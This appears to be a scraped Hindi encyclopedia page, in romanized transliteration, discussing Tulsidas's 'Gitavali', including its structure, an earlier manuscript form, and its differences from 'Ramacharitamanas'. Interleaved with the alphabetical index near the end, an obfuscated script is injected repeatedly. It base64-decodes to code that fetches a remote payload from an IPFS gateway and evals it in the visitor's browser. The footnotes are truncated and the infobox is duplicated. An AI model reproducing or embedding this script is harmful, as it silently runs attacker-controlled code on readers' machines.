गीतावली -तुलसीदास

	gitavali -tulasidas
	'gitavali' ka avaran prishth\|150px\|center
kavi	gosvami tulasidas
mool shirshak	'gitavali'
mukhy patr	'shriram
prakashak	lokabharati prakashan
desh	bharat
bhasha	avadhi
shaili	chhand
vishay	shriram ki jivanakatha
bhag	sat khandoan mean vibhakt.
mukhaprishth rachana	sajild
tippani	'gitavali' sat khandoan mean vibhakt hai. kandoan mean katha ka vibhajan pray: usi prakar hua hai, jis prakar 'ramacharitamanas' mean hua hai.

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gitavali tulasidas ki ek pramukh rachana hai. isamean gitoan mean bhagavan shriram ki katha kahi gayi hai athava yoan kahana chahie ki ram-katha sambandhi jo git gosvami tulasidas ne samay-samay par rache, ve is granth mean sangrahit hue haian. sampoorn rachana sat khandoan mean vibhakt hai. kandoan mean katha ka vibhajan pray: usi prakar hua hai, jis prakar 'ramacharitamanas' mean hua hai. kintu n isamean katha ki koee prastavana ya bhoomika hai aur n hi 'manas' ki bhaanti isamean uttarakand mean adhyatmavivechan. bich-bich mean bhi 'manas' ki bhaanti adhyatmik vishayoan ka upadesh karane ka koee prayas nahian kiya gaya hai. sampoorn padavali ram-katha tatha ramacharit se sambandhit hai. mudrit sangrah mean 328 pad haian.

poorvavarti roop

'gitavali' ka ek poorvavarti roop bhi prapt hua hai, jo isase chhota tha. usaka nam 'padavali ramayan' tha. isaki keval ek prati prapt huee hai aur vah bhi atyant khandit hai. isamean sundar aur uttarakandoan ke hi kuchh aansh bache haian aur uttarakand ka bhi antim aansh n hone ke karan pushpika nahian rah gayi hai. isalie prati ki thik tithi jnat nahian hai. yah sangrah vartaman se chhota raha hoga. yah isase prakat hai ki prapt aansho mean vartaman sangrah ke anek pad bich-bich mean nahian hai. yadi yah kaha jay ki yah vartaman ka koee chayan hoga, to yah thik nahian hai, kyoanki kabhi-kabhi chhandoan ka kram bhinn milata hai. isake atirikt isake sath ki hi ek prati 'vinayapatrika' ki prapt huee hai, jisaka prati mean hi 'ram gitavali' nam diya hua hai. vah bhi 'vinayapatrika' ka vartaman se chhota path deti hai. isalie yah prakat hai ki 'padavali ramayan' ka vah path, jo prastut ek matr prati mean milata hai, 'gitavali' ka hi koee poorv roop raha hoga.

alochak kathan

'gitavali' mean kuchh pad^[1] aise bhi haian, jo 'soorasagar' mean milate haian. pray: yah kaha jata hai ki ye pad usamean 'soorasagar' se gaye hoange. sooradas, tulasidas se kuchh jyeshth the, isalie kuchh alochak to yah bhi kahane mean nahian hichakate ki inhean tulasidas ne hi 'gitavali' mean rakh liya hoga aur jo is sima tak nahian jana chahate, ve kahate haian ki tulasidas ke bhaktoan ne unaki rachana ko aur poorn banane ke lie yah kiya hoga. kintu ek bat is sambandh mean vicharaniy hai. 'gitavali' ki pratiyaan kee darjan sankhya mean prapt huee hai aur ve sabhi akar-prakar mean sarvatha ek si haian aur un saboan mean ye chhand paye jate haian.

soorasagar ki pratiyaan

'soorasagar' ki jitani pratiyaan milati haian, unamean akar-prakar bhed adhik hai. kuchh mean keval kuchh sau pad haian to kuchh mean kuchh hazar pad haian. unamean kram adi mean bhi paraspar kafi vaibhinny hai aur phir 'soorasagar' ki sabhi pratiyoan mean ye pad paye jate haian, ya nahian, yah abhi tak dekha nahian gaya hai. 'soorasagar' ke mudrit path mean any anek jnat kaviyoan-bhaktoan ke pad bhi sammilit milate haian. aisi dasha mean vastavikata to ulate yah jnan p dati hai ki ye pad tulasidas ki hi 'gitavali' ke the, jo any kaviyoan-bhaktoan ki padavali ki bhaanti 'soorasagar' mean sooradas ke premiyoan ke dvara sammilit kar liye gaye.

aantar

tulasidas ne kul lagabhag sat sau padoan ki rachana ki hai aur giti shilp mean ve kisi se pichhe nahian haian. aisi dasha mean ve tin pad 'gitavali' mean aur tin-char pad 'krishna gitavali' mean sooradas ya kisi any kavi se lekar kyoan rakhate? isamean jo ram katha ati hai, vah pray: 'ramacharitamanas' ke saman hi hai, keval kuchh vistaroan mean antar hai, jo 'ramacharitamanas 'ke poorv rache granthoan mean hi milate haian, aur kuchh aise haian, jo kavi ki kisi bhi any kriti mean nahian milate haian.

pratham prakar ke antar nimnalikhit haian-

parashuram-ram milan mithila ki svayanvar bhoomi mean n hokar barat ki vapasi mean hota hai aur usamean vivad parashuram-ram mean hi hota hai, lakshman se nahian.
ram ke rajyarohan ke anantar 'sthan, yati, khag' ke nyay, brahman balak ke jivan-dan, sita ke nirvasan aur lav-kush janm ki kathaean ati haian. isi vistar mean 'ramajna prashn' bhi hai.

doosare prakar ke antar nimnalikhit hai-

svayanvar bhoomi mean jab vishvamitr ram ko dhanush to dane ke lie ajna dete haian, janak ram ke kritakary hone ke vishay mean sandeh prakat karate haian. is prakar vishvamitr janak ke yog-vairagy ki sarahana karate hue kahate haian ki aisa ve ram ke sneh ke vash mean hone ke karan samajhate haian aur ram bhi janak ke yog vairagy ki us sarahana ka samarthan karate haian; jab in sabake anantar janak ki shanka ka nivaran ho jata hai, 'gitavali' mean tab ram dhanush to dane ke lie age badhate haian.
vishvamitr ke sath gaye hue ram-lakshman ke vishay mean mataean chintit hoti haian.
vanavas ki avadhi mean kaushalya anek bar ram-virah mean vyathit hoti haian.
ram jatayu ke prati pitri-sneh aur shabari ke prati matri-sneh vyakt karate haian.
ravan ke dvara sita ke haran ki soochana ram ko dev-gan dete haian.
hanuman jab sita ko ram ki mudrika dete haian aur sita hanuman se ram ka kushal poochhati haian aur mudrika deti hai.
ravan se apamanit hokar vibhishan sidhe ram ki sharan mean nahian jata hai.
yuddh sthal mean lakshman ke ahat hone ka samachar pakar sumitra hanuman se apane doosare putr shatrughn ko bhi ram ke rajyabhishek ke anantar dolotsav, dipamalikotsav tatha basantotsav adi hote haian, jisamean ayodhya ka samast nar-nari samaj nissankoch bhav se sammilit hota hai.

'manas' 'gitavali' ki tulana mean akar-prakar se chauguna hai aur prabandh kavy haian. phir bhi ye katha vistar se jnat hota hai ki 'gitavali' ke kuchh aansh 'manas' ke poorv ki rachana avashy hoange aur isi prakar uparyukt doosare prakar ke katha-vistaroan se jnat hota hai ki usake aansh 'ramacharitamanas' ke bad ki rachana hoange. 'ramacharitamanas' ke saman to 'gitavali' ka adhikaansh hai hi, jisaka yahaan par koee praman dena anavashyak hoga. is prakar 'gitavali' ke padoan ki rachana ek bahut vistrit avadhi mean huee hogi.

vishisht sthan

'gitavali' ka tulasidas ki rachanaoan mean ek vishisht sthan hai, jis par abhi tak yathesht dhyan nahian diya gaya hai. anek batoan mean yah 'ramacharitamanas' ke saman hote hue bhi gitoan ke saanche usi ki ram-katha ko dhal dene ka prayas matr nahian hai. yah ek prakar se 'manas' ka poorak hai. 'manas' mean jivan ke komal aur madhur-pakshoan ko jaise jan-boojhakar dabaya gaya ho; 'manas' mean kaushalya ram ko van bhejakar keval ek bar vyathit dikh p dati hai, vah hai bharat ke agaman par, kintu phir putr shokatura kausalya ke darshan nahian hote. 'gitavali' mean to anek bar vah ram virah mean dhairy khoti chitrit hoti hai; usamean to vah ram virah mean unmad-grast ho chuki haian-

kabahu pratham jyoan jai jagavati kahi priy bachan sabare.

uthahu tat bali matri badan par anuj sakha sab dvare॥
kabahuan kahati yoan b di bar bhee jahu bhoop pahan bhaiya.

bandhu boli jeaniy jo bhavai gee nichhavari maiya॥^[2]

adi padoan mean kausalya ka jo chitr aankit kiya gaya hai, vah 'manas' mean nahian kiya gaya hai aur kadachit jan-boojhakar nahian kiya gaya hai.

sita ke sath ram ki jis 'madhuri-vilas-hal' ka chitran chitrakoot ki dinacharya mean 'gitavali'^[3] mean hua hai athava usake uttarakand mean bhor mean 'priy prem ras page' alasaye hue ram ka jo chitran hua hai,^[4] aur vibhinn prasangoan mean ayodhya ke nari-samaj dvara ram ke jis saundary-pan ka varnan kiya gaya hai,^[5] unaka ek bhi samatuly 'manas' mean nahian hai.
'manas' ki rachana tulasidas ne sampoorn samaj ke lie ki thi. 'sur sari sam sab kahai hit hoee' yah bhavana unaki rachana ke simaoan ka kahian bhi atikraman nahian hone diya, jabaki 'gitavali' ke adhikatar padoan ki rachana unhoanne sambhavat: keval bhakt aur rasik samuday ke lie ki. isalie isamean hamean 'manas' ke tulasidas ki apeksha ek adhik vastavik aur ha d-maans ke tulasidas ke darshan hote haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ gitavali, balakand,23,24,28
↑ gitavali(ayo.52
↑ gitavali, ayo. pad 44
↑ gitavali, uttar.2
↑ gitavali (uttar.18-19 tatha 21-22

bahari k diyaan

gitavali

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] tavali, balakand,23,24,28

[2] tavali(ayo.52

[3] tavali, ayo. pad 44

[4] tavali, uttar.2

[5] tavali (uttar.18-19 tatha 21-22

[1]

[2]

[3]

[4]

[5]

gitavali -tulasidas
'gitavali' ka avaran prishth\|150px\|center
kavi	gosvami tulasidas
mool shirshak	'gitavali'
mukhy patr	'shriram
prakashak	lokabharati prakashan
desh	bharat
bhasha	avadhi
shaili	chhand
vishay	shriram ki jivanakatha
bhag	sat khandoan mean vibhakt.
mukhaprishth rachana	sajild
tippani	'gitavali' sat khandoan mean vibhakt hai. kandoan mean katha ka vibhajan pray: usi prakar hua hai, jis prakar 'ramacharitamanas' mean hua hai.